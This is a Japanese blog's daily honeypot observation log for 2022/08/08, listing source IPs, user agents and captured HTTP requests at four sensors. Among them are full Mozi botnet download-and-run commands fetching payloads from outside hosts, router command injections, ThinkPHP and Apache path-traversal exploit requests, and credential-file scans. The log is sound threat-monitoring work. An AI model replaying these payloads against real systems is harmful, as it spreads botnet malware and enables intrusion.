コンニチハレバレトシタアオゾラ

つれづれなるままに、日暮らし、ぶろぐにむかひて、心にうつりゆくよしなしごとを、そこはかとなく書きつくれば、

2022/08/08 ハニーポット(仮) 観測記録

honeypot

ハニーポット(仮) 観測記録 2022/08/08分です。

特徴
共通

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
GPONルータの脆弱性を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
/.envへのスキャン行為
Apache Solrへのスキャン行為
Laravelへのスキャン行為

Location:JP

zgrabによるスキャン行為
.jsへのスキャン行為
/.awsへのスキャン行為
/.gitへのスキャン行為
WordPress Pluginへのスキャン行為
phpMyAdminへのスキャン行為
5.188.210.227に関する不正通信
85.206.160.115に関する不正通信
UserAgentがHello, Worldであるアクセス
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget http://192.168.1.1:8088/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws
Location:US

NetGear製品の脆弱性を狙うアクセス
85.206.160.115に関する不正通信
UserAgentがHello, Worldであるアクセス
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget networkmapping.xyz/jaws;
sh /tmp/jaws
Location:UK

D-link製品の脆弱性を狙うアクセス
85.206.160.115に関する不正通信
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget http://192.168.1.1:8088/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws
cd /tmp;
rm -rf *;
wget http://27.45.57.190:58892/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws
Location:SG

zgrabによるスキャン行為

を確認しました。

他
アクセス数推移

JP：総アクセス数：353 (前日比：71)
US：総アクセス数：60 (前日比：-117)
UK：総アクセス数：36 (前日比：-58)
SG：総アクセス数：59 (前日比：-166)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 1.10.146.30 Thailand
1 5.188.210.227 Russia
40 20.46.244.96 United States
3 20.150.144.59 United States
1 64.62.197.100 United States
1 80.94.92.32 Romania
6 89.248.165.52 United Kingdom
16 95.214.235.205 Ukraine
2 109.237.103.9 Russia
2 109.237.103.123 Russia
1 117.200.76.163 India
1 117.221.189.115 India
119 118.190.163.69 China
1 120.85.115.67 China
8 135.125.217.54 France
8 135.125.246.189 France
1 137.184.88.136 United States
1 139.59.146.171 Singapore
2 163.123.143.71 United States
1 172.104.131.24 United States
1 172.105.89.161 United States
1 173.44.40.53 United States
1 178.60.27.186 Spain
11 185.7.214.104 Hong Kong
2 185.108.106.245 India
1 198.235.24.5 United States
119 203.204.151.79 Taiwan
1 209.141.41.193 United States

UserAgent一覧

件数 UserAgent
13 -
1 Hello, World
1 Hello, world
36 Mozilla/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36
1 Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
11 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
238 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
1 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
40 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
2 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
1 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
1 Mozilla/5.0 zgrab/0.x
5 python-requests/2.28.1

リクエスト内容一覧

件数 Method Request Protocol
5 -
1 ABCDEFGHIJKLMNOPQRSTUVWXYZ9999
2 \x16\x03\x01\x01D\x01
1 \x16\x03\x01
1 CONNECT 85[.]206[.]160[.]115:80 HTTP/1.1
1 CONNECT hotmail-com.olc[.]protection[.]outlook[.]com:25 HTTP/1.1
4 GET /.aws/credentials HTTP/1.1
4 GET /.env.bak HTTP/1.1
42 GET /.env HTTP/1.1
1 GET /.git/config HTTP/1.1
2 GET /1phpmyadmin/index.php?lang=en HTTP/1.1
2 GET /2phpmyadmin/index.php?lang=en HTTP/1.1
1 GET /?%3Cplay%3Ewithme%3C/%3E HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1
2 GET /MyAdmin/index.php?lang=en HTTP/1.1
2 GET /PMA/index.php?lang=en HTTP/1.1
1 GET /_ignition/execute-solution HTTP/1.1
2 GET /_phpMyAdmin/index.php?lang=en HTTP/1.1
2 GET /_phpmyadmin/index.php?lang=en HTTP/1.1
2 GET /_phpmyadmin_/index.php?lang=en HTTP/1.1
4 GET /_profiler/phpinfo HTTP/1.1
1 GET /actuator/gateway/routes HTTP/1.1
2 GET /admin/db/index.php?lang=en HTTP/1.1
2 GET /admin/index.php?lang=en HTTP/1.1
2 GET /admin/phpMyAdmin/index.php?lang=en HTTP/1.1
2 GET /admin/phpmyadmin/index.php?lang=en HTTP/1.1
2 GET /admin/pma/index.php?lang=en HTTP/1.1
2 GET /admin/sqladmin/index.php?lang=en HTTP/1.1
2 GET /admin/sysadmin/index.php?lang=en HTTP/1.1
2 GET /admin/web/index.php?lang=en HTTP/1.1
2 GET /administrator/PMA/index.php?lang=en HTTP/1.1
2 GET /administrator/admin/index.php?lang=en HTTP/1.1
2 GET /administrator/db/index.php?lang=en HTTP/1.1
2 GET /administrator/phpMyAdmin/index.php?lang=en HTTP/1.1
2 GET /administrator/phpmyadmin/index.php?lang=en HTTP/1.1
2 GET /administrator/pma/index.php?lang=en HTTP/1.1
2 GET /administrator/web/index.php?lang=en HTTP/1.1
4 GET /aws.yml HTTP/1.1
1 GET /boaform/admin/formLogin?username=adminisp&psd=adminisp HTTP/1.0
1 GET /boaform/admin/formLogin?username=user&psd=user HTTP/1.0
4 GET /config.js HTTP/1.1
4 GET /config/aws.yml HTTP/1.1
1 GET /config/getuser?index=0 HTTP/1.1
1 GET /console/ HTTP/1.1
2 GET /database/index.php?lang=en HTTP/1.1
2 GET /db/db-admin/index.php?lang=en HTTP/1.1
2 GET /db/dbadmin/index.php?lang=en HTTP/1.1
2 GET /db/dbweb/index.php?lang=en HTTP/1.1
2 GET /db/index.php?lang=en HTTP/1.1
2 GET /db/myadmin/index.php?lang=en HTTP/1.1
2 GET /db/phpMyAdmin-3/index.php?lang=en HTTP/1.1
2 GET /db/phpMyAdmin-4/index.php?lang=en HTTP/1.1
2 GET /db/phpMyAdmin-5/index.php?lang=en HTTP/1.1
2 GET /db/phpMyAdmin/index.php?lang=en HTTP/1.1
2 GET /db/phpMyAdmin3/index.php?lang=en HTTP/1.1
2 GET /db/phpmyadmin/index.php?lang=en HTTP/1.1
2 GET /db/phpmyadmin3/index.php?lang=en HTTP/1.1
2 GET /db/phpmyadmin4/index.php?lang=en HTTP/1.1
2 GET /db/phpmyadmin5/index.php?lang=en HTTP/1.1
2 GET /db/webadmin/index.php?lang=en HTTP/1.1
2 GET /db/webdb/index.php?lang=en HTTP/1.1
2 GET /db/websql/index.php?lang=en HTTP/1.1
2 GET /dbadmin/index.php?lang=en HTTP/1.1
2 GET /favicon.ico HTTP/1.1
1 GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1
4 GET /info.php HTTP/1.1
2 GET /myadmin/index.php?lang=en HTTP/1.1
2 GET /mysql-admin/index.php?lang=en HTTP/1.1
2 GET /mysql/admin/index.php?lang=en HTTP/1.1
2 GET /mysql/db/index.php?lang=en HTTP/1.1
2 GET /mysql/dbadmin/index.php?lang=en HTTP/1.1
2 GET /mysql/index.php?lang=en HTTP/1.1
2 GET /mysql/mysqlmanager/index.php?lang=en HTTP/1.1
2 GET /mysql/pMA/index.php?lang=en HTTP/1.1
2 GET /mysql/pma/index.php?lang=en HTTP/1.1
2 GET /mysql/sqlmanager/index.php?lang=en HTTP/1.1
2 GET /mysql/web/index.php?lang=en HTTP/1.1
2 GET /mysqladmin/index.php?lang=en HTTP/1.1
2 GET /mysqlmanager/index.php?lang=en HTTP/1.1
2 GET /php-my-admin/index.php?lang=en HTTP/1.1
2 GET /php-myadmin/index.php?lang=en HTTP/1.1
2 GET /phpMyAdmin-3/index.php?lang=en HTTP/1.1
2 GET /phpMyAdmin-4.9.7/index.php?lang=en HTTP/1.1
2 GET /phpMyAdmin-4/index.php?lang=en HTTP/1.1
2 GET /phpMyAdmin-5.1.0/index.php?lang=en HTTP/1.1
2 GET /phpMyAdmin-5.1.1/index.php?lang=en HTTP/1.1
2 GET /phpMyAdmin-5.1.2/index.php?lang=en HTTP/1.1
2 GET /phpMyAdmin-5.1.3/index.php?lang=en HTTP/1.1
2 GET /phpMyAdmin-5.2.0/index.php?lang=en HTTP/1.1
2 GET /phpMyAdmin-5/index.php?lang=en HTTP/1.1
2 GET /phpMyAdmin/index.php?lang=en HTTP/1.1
2 GET /phpMyAdmin1/index.php?lang=en HTTP/1.1
2 GET /phpMyAdmin2/index.php?lang=en HTTP/1.1
2 GET /phpMyAdmin3/index.php?lang=en HTTP/1.1
2 GET /phpMyAdmin4/index.php?lang=en HTTP/1.1
2 GET /phpMyAdmin5.1/index.php?lang=en HTTP/1.1
2 GET /phpMyAdmin5.2/index.php?lang=en HTTP/1.1
2 GET /phpMyAdmin5/index.php?lang=en HTTP/1.1
2 GET /phpMyAdmin_/index.php?lang=en HTTP/1.1
2 GET /phpMyadmin/index.php?lang=en HTTP/1.1
4 GET /phpinfo.php HTTP/1.1
4 GET /phpinfo HTTP/1.1
2 GET /phpmy-admin/index.php?lang=en HTTP/1.1
2 GET /phpmy/index.php?lang=en HTTP/1.1
2 GET /phpmyAdmin/index.php?lang=en HTTP/1.1
2 GET /phpmyadmin/index.php?lang=en HTTP/1.1
2 GET /phpmyadmin1/index.php?lang=en HTTP/1.1
2 GET /phpmyadmin2/index.php?lang=en HTTP/1.1
2 GET /phpmyadmin2011/index.php?lang=en HTTP/1.1
2 GET /phpmyadmin2012/index.php?lang=en HTTP/1.1
2 GET /phpmyadmin2013/index.php?lang=en HTTP/1.1
2 GET /phpmyadmin2014/index.php?lang=en HTTP/1.1
2 GET /phpmyadmin2015/index.php?lang=en HTTP/1.1
2 GET /phpmyadmin2016/index.php?lang=en HTTP/1.1
2 GET /phpmyadmin2017/index.php?lang=en HTTP/1.1
2 GET /phpmyadmin2018/index.php?lang=en HTTP/1.1
2 GET /phpmyadmin2019/index.php?lang=en HTTP/1.1
2 GET /phpmyadmin2020/index.php?lang=en HTTP/1.1
2 GET /phpmyadmin2021/index.php?lang=en HTTP/1.1
2 GET /phpmyadmin2022/index.php?lang=en HTTP/1.1
2 GET /phpmyadmin3/index.php?lang=en HTTP/1.1
2 GET /phpmyadmin4/index.php?lang=en HTTP/1.1
2 GET /phpmyadmin5/index.php?lang=en HTTP/1.1
2 GET /phpmyadmin_/index.php?lang=en HTTP/1.1
2 GET /phppma/index.php?lang=en HTTP/1.1
2 GET /pma/index.php?lang=en HTTP/1.1
2 GET /program/index.php?lang=en HTTP/1.1
1 GET /shell?cd+/tmp;rm+-rf+*;wget+http[:]//192[.]168[.]1[.]1:8088/Mozi.a;chmod+777+Mozi[.]a;/tmp/Mozi.a+jaws HTTP/1.1
2 GET /shopdb/index.php?lang=en HTTP/1.1
1 GET /solr/admin/info/system?wt=json HTTP/1.1
2 GET /sql/myadmin/index.php?lang=en HTTP/1.1
2 GET /sql/php-myadmin/index.php?lang=en HTTP/1.1
2 GET /sql/phpMyAdmin/index.php?lang=en HTTP/1.1
2 GET /sql/phpMyAdmin2/index.php?lang=en HTTP/1.1
2 GET /sql/phpmanager/index.php?lang=en HTTP/1.1
2 GET /sql/phpmy-admin/index.php?lang=en HTTP/1.1
2 GET /sql/phpmyadmin3/index.php?lang=en HTTP/1.1
2 GET /sql/phpmyadmin4/index.php?lang=en HTTP/1.1
2 GET /sql/phpmyadmin5/index.php?lang=en HTTP/1.1
2 GET /sql/sql-admin/index.php?lang=en HTTP/1.1
2 GET /sql/sql/index.php?lang=en HTTP/1.1
2 GET /sql/sqladmin/index.php?lang=en HTTP/1.1
2 GET /sql/sqlweb/index.php?lang=en HTTP/1.1
2 GET /sql/webadmin/index.php?lang=en HTTP/1.1
2 GET /sql/webdb/index.php?lang=en HTTP/1.1
2 GET /sql/websql/index.php?lang=en HTTP/1.1
2 GET /sqlmanager/index.php?lang=en HTTP/1.1
4 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
2 GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php?lang=en HTTP/1.1
1 GET http[:]//5[.]188[.]210[.]227/echo.php HTTP/1.1
1 POST /Autodiscover/Autodiscover.xml HTTP/1.1
1 POST /GponForm/diag_Form?images/ HTTP/1.1
2 POST /boaform/admin/formLogin HTTP/1.1
1 POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
1 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Location:US

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 2.57.122.209 Romania
1 2.57.122.225 Romania
1 20.226.42.61 United States
8 51.79.29.48 Canada
1 51.83.137.123 France
2 52.253.119.158 United States
6 89.248.165.52 United Kingdom
1 92.255.85.183 Hong Kong
1 107.175.65.149 United States
2 109.237.103.118 Russia
2 109.237.103.123 Russia
1 113.160.245.58 Vietnam
1 116.25.37.103 China
3 141.98.6.62 Bulgaria
1 162.142.125.210 United States
3 163.123.143.71 United States
1 167.94.138.118 United States
1 172.104.242.173 United States
11 185.7.214.104 Hong Kong
8 185.254.196.223 Ukraine
1 192.241.213.209 United States
1 198.235.24.13 United States
1 223.149.243.94 China
1 223.155.83.191 China

UserAgent一覧

件数 UserAgent
16 -
2 Go-http-client/1.1
1 Hello, World
1 Hello, world
3 Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36
11 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
22 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
3 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0

リクエスト内容一覧

件数 Method Request Protocol
4 -
1 MGLNDD_34.68.118.83_80\n
1 \x03
2 \x16\x03\x01\x01D\x01
1 \x16\x03\x01
1 \xba\xabd\xa1EZC\xdbM\x87\xee^\xfd\xbf\x159 X\xd4>\x12\x98\xc4<\xe0\x13\xcf
1 CONNECT 85[.]206[.]160[.]115:80 HTTP/1.1
1 CONNECT hotmail-com.olc[.]protection[.]outlook[.]com:25 HTTP/1.1
22 GET /.env HTTP/1.1
1 GET //bitcoin/.env HTTP/1.1
1 GET //kyc/.env HTTP/1.1
1 GET //wallet/.env HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1
1 GET /_ignition/execute-solution HTTP/1.1
1 GET /actuator/gateway/routes HTTP/1.1
1 GET /boaform/admin/formLogin?username=user&psd=user HTTP/1.0
1 GET /console/ HTTP/1.1
1 GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1
1 GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//192[.]168[.]1[.]1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
1 GET /shell?cd+/tmp;rm+-rf+*;wget+networkmapping[.]xyz/jaws;sh+/tmp/jaws HTTP/1.1
1 GET /solr/admin/info/system?wt=json HTTP/1.1
2 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
2 GET http[:]//example[.]com/ HTTP/1.1
1 POST /Autodiscover/Autodiscover.xml HTTP/1.1
1 POST /GponForm/diag_Form?images/ HTTP/1.1
3 POST /boaform/admin/formLogin HTTP/1.1
1 POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
1 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
2 PRI * HTTP/2.0
Location:UK

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 27.45.57.190 China
1 42.239.154.217 China
1 66.240.192.82 United States
6 89.248.165.52 United Kingdom
2 109.237.103.118 Russia
2 109.237.103.123 Russia
1 120.85.93.10 China
1 141.98.6.62 Bulgaria
1 141.145.199.222 United States
1 162.142.125.212 United States
2 163.123.143.71 United States
1 175.107.1.159 Pakistan
2 179.43.155.171 Panama
11 185.7.214.104 Hong Kong
1 192.241.212.150 United States
1 193.124.7.9 Czechia
1 209.141.55.120 United States

UserAgent一覧

件数 UserAgent
14 -
1 Go-http-client/1.1
2 Hello, world
1 Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
11 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1 Mozilla/5.0 (X11; FreeBSD amd64) AppleWebKit/537.4 (KHTML like Gecko) Chrome/22.0.1229.79 Safari/537.4
2 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
2 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
1 Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53

リクエスト内容一覧

件数 Method Request Protocol
4 -
1 27;wget%20http[:]//%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.mips%27$ HTTP/1.0
1 MGLNDD_132.145.66.34_80\n
2 \x16\x03\x01\x01D\x01
2 \x16\x03\x01
1 CONNECT 85[.]206[.]160[.]115:80 HTTP/1.1
1 CONNECT hotmail-com.olc[.]protection[.]outlook[.]com:25 HTTP/1.1
2 GET /.env HTTP/1.1
1 GET //crypto/.env HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1
1 GET /Dockerrun.aws.json HTTP/1.1
1 GET /_ignition/execute-solution HTTP/1.1
1 GET /actuator/gateway/routes HTTP/1.1
1 GET /console/ HTTP/1.1
1 GET /favicon.ico HTTP/1.1
1 GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1
1 GET /shell?cd+/tmp;rm+-rf+*;wget+http[:]//192[.]168[.]1[.]1:8088/Mozi.a;chmod+777+Mozi[.]a;/tmp/Mozi.a+jaws HTTP/1.1
1 GET /shell?cd+/tmp;rm+-rf+*;wget+http[:]//27[.]45[.]57[.]190:58892/Mozi.a;chmod+777+Mozi[.]a;/tmp/Mozi.a+jaws HTTP/1.1
1 GET /solr/admin/info/system?wt=json HTTP/1.1
1 GET /users/sign_in HTTP/1.1
1 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET http[:]//example[.]com/ HTTP/1.1
1 POST /Autodiscover/Autodiscover.xml HTTP/1.1
1 POST /HNAP1/ HTTP/1.0
2 POST /boaform/admin/formLogin HTTP/1.1
1 POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
1 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 PRI * HTTP/2.0
Location:SG

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 2.57.122.209 Romania
1 45.148.10.81 Romania
11 51.79.29.48 Canada
2 62.233.50.179 Russia
1 66.240.192.82 United States
1 74.82.47.36 United States
3 89.248.165.245 United Kingdom
1 101.0.32.254 India
1 107.175.65.149 United States
2 109.237.103.9 Russia
2 109.237.103.123 Russia
1 137.184.84.171 United States
2 138.197.183.239 United States
1 162.142.125.9 United States
1 162.142.125.211 United States
3 163.123.143.71 United States
1 167.248.133.46 United States
1 173.89.132.98 United States
11 185.7.214.104 Hong Kong
2 185.108.106.246 India
8 185.254.196.223 Ukraine
1 198.235.24.9 United States
1 217.146.82.179 United Kingdom

UserAgent一覧

件数 UserAgent
16 -
1 Go-http-client/1.1
11 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
24 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
3 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
1 Mozilla/5.0 zgrab/0.x
1 Opera/3.0 (X11; Linux x86_64 3.0; rv:2.0.1) Gecko/20100101 Firefox/3.1.2
2 python-requests/2.28.1

リクエスト内容一覧

件数 Method Request Protocol
4 -
2 \x03
2 \x16\x03\x01\x01D\x01
4 \x16\x03\x01
25 GET /.env HTTP/1.1
1 GET /?%3Cplay%3Ewithme%3C/%3E HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1
1 GET /_ignition/execute-solution HTTP/1.1
1 GET /actuator/gateway/routes HTTP/1.1
1 GET /boaform/admin/formLogin?username=adminisp&psd=adminisp HTTP/1.0
1 GET /console/ HTTP/1.1
1 GET /favicon.ico HTTP/1.1
1 GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1
1 GET /solr/admin/info/system?wt=json HTTP/1.1
1 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET http[:]//example[.]com/ HTTP/1.1
1 HEAD / HTTP/1.1
1 POST /Autodiscover/Autodiscover.xml HTTP/1.1
3 POST /boaform/admin/formLogin HTTP/1.1
1 POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
1 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
3 PRI * HTTP/2.0